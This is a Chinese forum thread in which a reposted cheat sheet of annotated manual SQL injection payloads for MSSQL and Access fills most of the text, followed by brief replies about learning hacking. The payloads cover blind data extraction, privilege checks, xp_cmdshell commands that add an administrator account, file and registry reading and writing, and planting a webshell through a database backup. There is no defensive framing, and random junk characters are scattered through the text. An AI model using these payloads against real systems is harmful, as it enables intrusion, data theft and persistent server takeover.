打印

[转帖] 带注释手动注入脚本命令整理

带注释手动注入脚本命令整理

引用:
整理了下手动注入脚本命令[带注释] F/ m. ]; z7 E8 Z4 ^ w
  1.判断是否有注入;and 1=1 ;and 1=2 : p( r" f0 p1 @1 I3 r# W- L
" u6 z) a0 O6 q* ~
  2.初步判断是否是mssql ;and user>0
3 M7 C" `6 a! z: B: g/ O- s0 H6 d) d8 T
  3.注入参数是字符’and [查询条件] and ’’=’
) n; J1 o* s/ s
) v+ F& G5 B4 h. Z2 q  4.搜索时没过滤参数的’and [查询条件] and ’%25’=’ 5 g. C( k( o( Z3 ~2 \' _, J$ H" z; i( N

+ L0 ]" v8 q& b/ x& @# l  5.判断数据库系统
8 `& ?/ g2 Y! Y8 ?, v; J7 h# H1 w, a
2 N0 \+ ~9 V, r' s, B, d, E( J;and (select count(*) from sysobjects)>0 mssql
- S1 B. ?9 g1 ?1 Q
p# H7 f9 z1 ~9 G4 S;and (select count(*) from msysobjects)>0 access 2 ^4 G' `- m$ a9 U4 V6 A) O
$ _! {+ z* a' L; @7 ?( K2 S
  6.猜数据库 ;and (select Count(*) from [数据库名])>0 : U' j6 ~( \& n, C( q* i5 K* Q

- m' k1 J" q& w) R+ w6 t8 f  7.猜字段 ;and (select Count(字段名) from 数据库名)>0
+ w6 o' g2 t- f9 }& o$ w; _* v3 t0 t6 L8 P) M! ^% T8 V2 o
  8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 : z- r0 o- E& L; [' v

( b) a" f" i/ J0 R# N1 P( i7 ?  9.(1)猜字段的ascii值(access) \: i( a( h9 m" a& j: P
+ p! c% ^% ^ ?" A
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 + N& O5 P7 }: C2 Q
/ `7 ~7 ^1 H5 [1 w( B
  (2)猜字段的ascii值(mssql) . R" z1 k. M5 j. v V* _% n5 B$ \' c
# b" H) I& _8 Q% n$ Q: }8 a
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 c- s# e9 N2 o3 \

0 g2 \( x; {0 O, i  10.测试权限结构(mssql)
+ W+ {& N- D U9 T; d- I7 P3 _9 Y% U9 n
;and 1=(select IS_SRVROLEMEMBER(’sysadmin’));--
+ Z; m5 N# M0 D; S/ l- k3 ]! T. R( W1 j* v$ t' U. w
;and 1=(select IS_SRVROLEMEMBER(’serveradmin’));-- ! ^/ X1 ?: H2 V0 Z

, s0 T3 K1 r: `% K* N3 \;and 1=(select IS_SRVROLEMEMBER(’setupadmin’));--
! Q& ?& q4 Y' R& r8 U7 c6 X
& M$ v, N; a. p- }& @;and 1=(select IS_SRVROLEMEMBER(’securityadmin’));-- - c: {! U- a' ~& B* H4 ~2 q. K
4 C8 y- s3 v2 N- A' f6 |! u8 t
;and 1=(select IS_SRVROLEMEMBER(’diskadmin’));--
' a1 P- N$ d1 X. w% z! @( Y5 s0 M- d
;and 1=(select IS_SRVROLEMEMBER(’bulkadmin’));--
, `/ N m. |9 d& d4 }
) I5 \# A5 l% f- m;and 1=(select IS_MEMBER(’db_owner’));-- 4 H. f( A4 [! [8 i2 |% w& y* a

" S1 S v x( n  11.添加mssql和系统的帐户
8 T8 p$ t& q9 z7 ^- T! p8 n
& k9 D3 R) d( G9 K+ S;exec master.dbo.sp_addlogin username;--
9 ~9 t, _0 P9 b! D1 x, s
+ g7 o h% R! O1 m& p Q G, Y; _" m. l p, T9 I5 n) D1 k
;exec master.dbo.sp_password null,username,password;--
" b- R: _3 g. H2 f( j- |, r
+ w* k( e/ G; @; G! O7 ?: h/ p4 G C9 M2 h' _7 g
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
, J5 M0 z6 v8 D+ M7 u5 F9 k* O. m: G1 V6 G( ?* O3 R
. J( c# t: h T6 _" \' }0 P1 y
;exec master.dbo.xp_cmdshell ’net user username password
! E6 e. z$ Y) F# i/ y! ]/ a/ {
3 I$ Z9 ^+ b( M* z' s8 j: T: _2 E/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add’;-- 7 d! }7 B% p& ?/ }

& y% D. \+ |6 G& K' v$ v) o, C L
5 s, l5 K( R2 Z3 I0 u, Y;exec master.dbo.xp_cmdshell ’net user username password /add’;-- + [4 Y `% t5 D) [3 S/ y
6 v; H: \* y" X% s8 m% k# \) M) d' u
0 c A0 M( {. ~6 V) t+ e9 [$ {5 \
;exec master.dbo.xp_cmdshell ’net localgroup administrators username /add’;--
7 @6 A: e( ^: B# z
1 v% B0 j5 G' ^) ~ ^1 s2 p$ ~  12.(1)遍历目录 ?' A! t: |* R5 r

* d% C: A3 h% G2 M0 i
2 k2 o! g6 H' }6 g' E;create table dirs(paths varchar(100), id int) . M. O; G: p1 K% P/ A" \, N2 ?+ ~
) T- z% s' H* {% @" Y
;insert dirs exec master.dbo.xp_dirtree ’c:\’
, {& }! P9 K4 t, `. o5 p4 p) }' T5 c% z3 i
;and (select top 1 paths from dirs)>0
5 D4 C; O( D8 W" t/ X$ R) _6 D8 j1 Q) \8 }4 D7 n- G l
;and (select top 1 paths from dirs where paths not in(’上步得到的paths’))>) / {. c7 D4 R) g; P

5 k( r {* G8 J+ H9 {
( m8 }9 r. o7 w4 I9 u0 Z7 Q(2)遍历目录
5 ]1 P- H; n2 F5 L) i& z6 \; ]/ H. L9 T# O# T' ~7 g) E4 s3 w7 A4 }
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
- N1 w4 i* S" [/ y# S ~; p% _6 }8 _1 }. o2 H) h" W/ X" F& j
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
( ]1 X0 t" T, E8 y; Z" A3 m4 ]
* s9 m+ H6 x) v; `;insert into temp(id) exec master.dbo.xp_subdirs ’c:\’;-- 获得子目录列表
$ O$ A3 H$ | p9 n! r0 Y$ g$ _9 l Y; E6 i8 F( z
;insert into temp(id,num1) exec master.dbo.xp_dirtree ’c:\’;-- 获得所有子目录的目录树构
5 T1 n! \8 A! T/ f
( l: Z) P3 s0 |2 z;insert into temp(id) exec master.dbo.xp_cmdshell ’type c:\web\index.asp’;-- 查看文件的内容 ' g' x' q! P( _6 V
$ N8 k3 v+ G! W6 \' i% M4 N
7 p3 N( ] `9 Q7 j
13.mssql中的存储过程 ) v: G+ g6 U% r& C

' n) l7 c6 A& l6 x1 M) ]9 w
* l# I$ d: K) S. p* L7 ^. kxp_regenumvalues 注册表根键, 子键 8 {0 }# a% z, w% F
9 _, H; }! n5 X9 J+ V" }
;exec xp_regenumvalues ’HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\CurrentVersion\Run’ 以多个记录集方式返回所有键值
$ e9 v2 s9 x$ B7 i0 u/ k0 h% _
# K6 T m% N3 ^' T
+ P$ g- z+ N! |xp_regread 根键,子键,键值名 7 p C% N1 q# a2 e! s

- f5 {$ J. n$ p4 `1 _8 ^$ w* n# p;exec xp_regread
) M, }5 V" ^- j& I; t+ M8 y- `( p+ @$ o3 ]4 B
’HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\CurrentVersion’,’CommonFilesDir’ 返回制定键的值
0 u ], _/ a, I4 M5 b# X, w7 ~1 P5 n ?: _+ C% g9 F& \% I/ q
# I/ E/ n; S% T/ {% A
xp_regwrite 根键,子键, 值名, 值类型, 值
' B& Q X3 q4 m# Q% k& x" K( ]+ A9 T& s2 d9 d5 Z
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
/ c0 L, R+ \7 O* {
6 v' L! `( s2 s; W- s;exec xp_regwrite ’HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\CurrentVersion’,’TestValueName’,’reg_sz’,’hello’ 写入注册表 ' c. }/ M4 O6 _9 m3 O

# G7 h' {( \' t' ]9 ^% c
- M/ \1 Z, S: k2 vxp_regdeletevalue 根键,子键,值名
H* s/ q0 T9 t* g
) u3 J0 E0 y, g( u! q d2 e5 G
exec xp_regdeletevalue ’HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\CurrentVersion’,’TestValueName’ 删除某个值 xp_regdeletekey ’HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey’ 删除键,包括该键下所有值
1 B9 S1 ?& M+ o1 M
9 ?% ?* H# `0 s; D. h5 t* D, q2 H# `/ ^! K) \
14.mssql的backup创建webshell
- L3 n. Q, N5 B% ]
/ @6 Y* K' [8 H& Y. i9 t- F duse model ' N# Q0 D. t @

9 R5 I2 z. S8 X/ v `create table cmd(str image);
# w/ J3 J7 {% y' |( p# }+ F* ~% E" d3 S* Y! \; N' `% y
insert into cmd(str) values (’’); % v9 R( N! i1 R
5 y, c# e! e6 E( p# U
backup database model to disk=’c:\l.asp’; 0 U& A0 {: a- N9 I
0 b: [& h1 L8 D* q8 T# b0 }- \! u

4 o- O6 O2 D% G0 c! G6 ]15.mssql内置函数
6 z0 v3 G; A9 h1 G1 f/ v% b/ \
;and (select @@version)>0 获得Windows的版本号 / G. h8 Z% Q6 P# w: \; Y- I# y
6 C; I6 T- b" p+ E, N
;and user_name()=’dbo’ 判断当前系统的连接用户是不是sa
) ~0 ?9 u: k( v3 t* e# \ b; i, J) `3 T0 \) N. k7 W
;and (select user_name())>0 爆当前系统的连接用户 ! @/ U9 M! I3 c
$ }+ Y* W* o7 G- s8 h
;and (select db_name())>0 得到当前连接的数据库 / R$ |% Z" Z& s. Q2 J$ D7 h$ i

4 n3 d+ e3 x, j; |3 \
5 V T/ g* c0 j; ^8 z16.简洁的webshell
+ ]9 ?7 ?0 j- w! r- S
# p, `# ^3 [2 ?! w6 r( q/ g) W1 d
use model
k& U" p4 w& ]$ I
) R3 U8 b. u0 d. B! m; v. T" n. _6 ~) M! K7 f6 h( _/ ~- ~4 w- D
create table cmd(str image);
8 e! Q# ~; H' t+ F9 w
3 P3 ]% ~: K- D( X+ c" s, J R' z2 e$ m; E4 v( y: j" D, Y
insert into cmd(str) values (’’); 0 N$ h- i5 m1 l' f

- `4 m' c6 P5 w2 ], v* o3 L7 [, }( U: k( m: f8 [
backup database model to disk=’g:\wwwtest\l.asp’;
本帖最近评分记录
  • kenknigh 菊花元 +10 管理操作 2007-3-5 21:23

宜兴安利店铺当天免费送货
电话:13961561512 郑合清
欢迎大家光临:
菊花论坛 靓图共赏

TOP

好象的那一本杂志看到过(是《黑客防线》)
# j: Y" Z% P! {/ i7 _好用是好用 不过有的漏洞好象已经修复了
本帖最近评分记录
  • kenknigh 菊花元 +2 管理操作 2007-3-9 21:24

TOP

不知道在哪看到注入教程节选.一时没保存再也找不到了.郁闷.月月的这个教程还是像天书.学这个等多找些资料配合起来看.- I2 k' Q7 G! a9 I) x) @" J9 Z
5 s4 c3 r) H/ \3 c/ U8 k+ _9 l6 ^
- K/ J$ }3 N1 j6 W/ d8 w
8 ?$ F# _/ Y V1 t
世界上还有防注入系统,郁闷.
" }5 U |1 D* X, L5 V: d4 _; ]0 k1 l/ g% j( }8 v; L' k
我聊天行,真是去注入不行.中国注入刚流行时我在黑防上听说了,但因为那时没上网.现在怎么学也学不会
云烟缈缈几层间,万水千山显世间,梅兰竹菊朦胧伴,英才陪书与昼夜。
欢迎骚扰:kenknigh@hotmail.com                

TOP

我也LS的一样
' H! O8 r% N+ r" s% O5 N2 k. k以前在学校里买过《黑客防线》看过,后来因为种种原因
: X4 v% s. q: T# r: \0 o9 g( L现在再学,觉得有点难度了

TOP